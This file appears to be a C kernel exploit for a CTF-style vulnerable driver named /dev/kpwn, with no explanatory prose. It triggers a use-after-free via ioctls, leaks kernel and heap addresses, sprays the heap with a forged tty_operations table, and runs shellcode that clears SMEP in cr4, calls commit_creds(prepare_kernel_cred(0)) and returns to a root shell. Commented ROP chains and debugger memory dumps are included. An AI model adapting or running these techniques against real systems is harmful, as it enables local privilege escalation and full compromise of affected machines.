exp2:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <pthread.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <memory.h>
#include <pty.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <signal.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#define mp_size 1024*64 //64K
#define spray_times 32*32*2 // heap spray size : 64K*16*32 = 32M
#define guess_physmap 0xffff888007a72000
struct _tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
struct file_operations *proc_fops;
};
struct _tty_operations* tty_operations;
unsigned long kernel_base;
unsigned long heap_base;
void *spray[spray_times];
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
void getshell()
{
system("/bin/sh");
}
#define KERNCALL __attribute__((regparm(3)))
void ( * commit_creds )(void *) KERNCALL ;
size_t* (* prepare_kernel_cred)(void *) KERNCALL ;
void heap_spray()
{
int i = 0;
void *p;
for (i = 0; i < spray_times; i++)
{
if ((p = mmap(NULL, mp_size, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0 )) == MAP_FAILED)
puts("mmap error");
spray[i] = p;
for (int num = 0; num < 64; num++)
{
void* mp = p + num * 1024;
unsigned long *tmp=(unsigned long *)mp;
tmp[0]=kernel_base+0x1183230;
tmp[1]=kernel_base+0x11831d0;
tmp[2]=kernel_base+0x11831e0;
tmp[3]=kernel_base+0x1182b80;
tmp[4]=kernel_base+0x11835f0;
tmp[5]=0;
tmp[6]=kernel_base+0x1182f20;
tmp[7]=kernel_base+0x1182ec0;
tmp[8]=0;
tmp[9]=0;
tmp[10]=kernel_base+0x11835c0;
tmp[11]=kernel_base+0x1182b70;
tmp[12]=0;
tmp[13]=0;
tmp[14]=kernel_base+0x1182d80;
tmp[15]=0;
tmp[16]=kernel_base+0x1182ea0;
tmp[17]=kernel_base+0x1183560;
tmp[18]=kernel_base+0x1183500;
tmp[19]=0;
tmp[20]=0;
tmp[21]=kernel_base+0x1182d20;
//tmp[19]=kernel_base+0x1031b40;
tmp[12]=heap_base+0x138;
// tmp[4]=heap_base+0x138;
//tmp[0]=0xffffffff810025cb;
//tmp[10]=0xffffffff810025cb;
//memcpy(mp+0x100,"\x48\xc7\xc0\xf0\x06\x00\x00\x6a\x48\x55\x0f\x22\xe0",13);
/* tmp[50]=kernel_base+0x10354a0-0x120;//pop_rdi_ret
tmp[51]=0;
tmp[52]=prepare_kernel_cred-0x120;
tmp[53]=kernel_base+0x106c456-0x120;//pop_rdx_ret
tmp[54]=commit_creds-0x120;
tmp[55]=kernel_base+0x1177b28-0x120; //mov rdi,rax call rdx pop rbp ret
tmp[56]=0xffff888007a73190;
//tmp[57]=kernel_base+0x101c6d1-0x120;
//tmp[58]=0x6f0;
// tmp[59]=kernel_base+0x10025cb-0x120; //mov cr4, rax; push rcx; popfq; pop rbp; ret;
// tmp[60]=0xffff888007a73190;
tmp[57]=kernel_base-0x120+0x1200c2e;//swapgs
tmp[58]=0x246;
tmp[59]=0xffff888007a73190;
tmp[60]=kernel_base+0x101a306-0x120;//iretq
//tmp[60]=kernel_base+0x1178f81-0x120;
tmp[61]=getshell;
tmp[62] = user_cs;
tmp[63] = user_eflags;
tmp[64]= user_sp;
tmp[65]= user_ss;*/
}
}
}
void getroot(){
size_t cred = prepare_kernel_cred(0);
commit_creds(cred);
}
void get_shell_again(){
puts("SIGSEGV found");
puts("get shell again");
system("id");
char *shell = "/bin/sh";
char *args[] = {shell,NULL};
execve(shell, args, NULL);
}
void handler(int signo, siginfo_t* info, void* vcontext) {}
void debug_enable_sigsev_handler() {
struct sigaction action;
memset(&action, 0, sizeof(struct sigaction));
action.sa_flags = SA_SIGINFO;
action.sa_sigaction = get_shell_again;
sigaction(SIGSEGV, &action, NULL);
}
int main(int argc, char *argv[], char **env)
{
save_stats();
debug_enable_sigsev_handler();
void*p;
if ((p = mmap(0x100000-0x1000, 0x10000, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0 )) == MAP_FAILED)
puts("mmap error");
// tty_operations=(struct _tty_operations*)malloc(sizeof(struct _tty_operations));
int fd;
long long int ctx[3]={0};
if ((fd = open("/dev/kpwn",O_RDONLY)) == -1)
puts("open kpwn.ko error");
ioctl(fd,0x1336,NULL);
ioctl(fd,0x1336,NULL);
ioctl(fd,0x1336,NULL);
ioctl(fd,0x1336,NULL);
ioctl(fd,0X1338,0);
ctx[0]=0;
ctx[1]=1;
ioctl(fd,0x1337,ctx);
ioctl(fd,0x1339,0);
ioctl(fd,0X1338,3);
ctx[0]=3;
ctx[1]=0;
ctx[2]=1;
ioctl(fd,0x133d,ctx); //block 1 uaf here 0xffff88800e821800L
ctx[0]=3;
ctx[1]=0;
ctx[2]=1;
// ioctl(fd,0x133d,ctx); //block 1 uaf here 0xffff88800e821800L
char buf[0x301]={0};
//leak heap addr
ctx[0]=1;
ctx[1]=buf;
ctx[2]=0x300;
ioctl(fd,0x133b,ctx);
write(1,buf,0x300);
int trag[0x100];
for(int i=0;i<0xa;i++){
trag[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (trag[i] <= -1){
puts("open error");
exit(-1);
}
}
ioctl(fd,0x1336,NULL);
unsigned long tmp[0x300/8];
ctx[0]=1;
ctx[1]=tmp;
ctx[2]=0x300;
ioctl(fd,0x133b,ctx);
printf("kernel addr 0x%llx\n",tmp[3]);
printf("heap addr 0x%llx\n",tmp[7]);
heap_base=tmp[7]-0x38;
kernel_base=tmp[3]-0x1627fc0;
if(argc==2)
{
puts("-0x120");
kernel_base-=0x120;
}
printf("kernel base 0x%llx\n",kernel_base);
prepare_kernel_cred=kernel_base+0x104f050;
commit_creds=kernel_base+0x104f210;
//tty_operations->write =0xffffffff81002889;//mov rax,rdx
//tty_operations->ioctl = 0xffffffff810025cb; //mov cr4,rax
heap_spray();
unsigned long int a[0x100]={0};
memcpy(a,tmp,0x178);
a[3]=(heap_base&0xfffffffff0000000)+0xff00000;
/* a[4]=3;
a[5]=0;
a[6]=0;
a[7]=heap_base+0x38;
a[8]=heap_base+0x38;
a[9]=heap_base+0x48;
a[10]=heap_base+0x48;
a[11]=0x14b580+(heap_base&0xfffffffff0000000);
a[12]=0;
a[13]=heap_base+0x68;
a[14]=heap_base+0x68;
a[15]=0;
a[16]=heap_base+0x80;
a[17]=heap_base+0x80;
a[18]=0;
a[19]=heap_base+0x98;
a[20]=heap_base+0x98;
a[21]=0;
a[22]=heap_base+0xb0;
a[23]=heap_base+0xb0;
a[24]=0;
a[25]=heap_base+0xc8;
a[26]=heap_base+0xc8;
a[27]=0x0000000500000500;
a[28]=0x00008a3b000000bf;
a[29]=0x010004157f1c0300;
a[30]=0x170f12001a131100;
a[31]=0x0000960000000016;
a[32]=0x0000000000009600;
a[39]=0x0000000033737470;
*/
void *g=(void*)(a+320);
const char* code1="\x48\xc7\xc0\xf0\x06\x00\x00\x0f\x22\xe0\x48\x31\xff";
const char* code2="\xff\xd0\x48\x89\xc7";
const char* code3="\xff\xd0\x6a\x2b\x48\xc7\xc0\x00\x00\x10\x00\x50\x68\x46\x02\x00\x00\x6a\x33\x68\xdc\x09\x40\x00\x0f\x01\xf8\x48\xcf";
unsigned long long aa;
unsigned long long b;
printf("input:\n");
scanf("%llx %llx",&aa,&b);
char ppp[0x100]={0};
memcpy(ppp,code1,13);
memcpy(ppp+13,(void*)(&aa),7);
memcpy(ppp+13+7,code2,5);
memcpy(ppp+20+5,(void*)(&b),7);
memcpy(ppp+25+7,code3,29);
memcpy(&(a[39]),ppp,61);
//memcpy(&(a[39]),"\x48\xc7\xc0\xf0\x06\x00\x00\x0f\x22\xe0\x48\x31\xff\x48\xc7\xc0\x50\xf0\x04\x81\xff\xd0\x48\x89\xc7\x48\xc7\xc0\x10\xf2\x04\x81\xff\xd0\xc3",61);
// a[40]=0x0f000006f0c0c748;
// a[41]=0xa72190bc48fbe022;
// a[42]=0xc3ffff888007;
/* a[40]=0x6a000006f0c0c748;
a[41]=0xc0c748e0220f5548;
a[42]=0x9d486afb00400c96;
a[43]=0xc0c7482b6ad0ff;
a[44]=0x2466850001000;
a[45]=0x400c8568336a00;
a[46]=0xcf48f8010f;*/
//memcpy(a+0x28,"\x48\xc7\xc0\xf0\x06\x00\x00\x6a\x48\x55\x0f\x22\xe0",13);
ctx[0]=1;
ctx[1]=a;
ctx[2]=0x178;
ioctl(fd,0x133a,ctx);
int pid=fork();
if(pid==0)
{
for(int i=0;i<0xa;i++){
//write(trag[i],bufa,0x6f0);
ioctl(trag[i],0xaabbcc,0xbb);
write(trag[i],0,0);
}
}
else
{
sleep(1);
wait(NULL);
}
//ioctl(fd,0x1338,ctx);
}
/*
mov rax,0x6f0
push 0x48
push rbp
mov cr4,rax
*/
/*
0xffff88800e81f800: 0x0000000100005401 0x0000000000000000
0xffff88800e81f810: 0xffff888000188b40 0xffffffff81627fc0
0xffff88800e81f820: 0x0000000000000003 0x0000000000000000
0xffff88800e81f830: 0x0000000000000000 0xffff88800e81f838
0xffff88800e81f840: 0xffff88800e81f838 0xffff88800e81f848
0xffff88800e81f850: 0xffff88800e81f848 0xffff88800014b580
0xffff88800e81f860: 0x0000000000000000 0xffff88800e81f868
0xffff88800e81f870: 0xffff88800e81f868 0x0000000000000000
0xffff88800e81f880: 0xffff88800e81f880 0xffff88800e81f880
0xffff88800e81f890: 0x0000000000000000 0xffff88800e81f898
0xffff88800e81f8a0: 0xffff88800e81f898 0x0000000000000000
0xffff88800e81f8b0: 0xffff88800e81f8b0 0xffff88800e81f8b0
0xffff88800e81f8c0: 0x0000000000000000 0xffff88800e81f8c8
0xffff88800e81f8d0: 0xffff88800e81f8c8 0x0000000500000500
0xffff88800e81f8e0: 0x00008a3b000000bf 0x010004157f1c0300
0xffff88800e81f8f0: 0x170f12001a131100 0x0000960000000016
0xffff88800e81f900: 0x0000000000009600 0x0000000000000000
0xffff88800e81f910: 0x0000000000000000 0x0000000000000000
0xffff88800e81f920: 0x0000000000000000 0x0000000000000000
0xffff88800e81f930: 0x0000000000000000 0x0000000033737470
*/
//0xffff88800e821800L
/*
0xffffffff81627fc0: 0xffffffff81183230 0xffffffff811831d0
0xffffffff81627fd0: 0xffffffff811831e0 0xffffffff81182b80
0xffffffff81627fe0: 0xffffffff811835f0 0x0000000000000000
0xffffffff81627ff0: 0xffffffff81182f20 0xffffffff81182ec0
0xffffffff81628000: 0x0000000000000000 0x0000000000000000
0xffffffff81628010: 0xffffffff811835c0 0xffffffff81182b70
0xffffffff81628020: 0x0000000000000000 0x0000000000000000
0xffffffff81628030: 0xffffffff81182d80 0x0000000000000000
0xffffffff81628040: 0xffffffff81182ea0 0xffffffff81183560
0xffffffff81628050: 0xffffffff81183500 0x0000000000000000
0xffffffff81628060: 0x0000000000000000 0xffffffff81182d20
0xffffffff81628070: 0x0000000000000000 0x0000000000000000
*/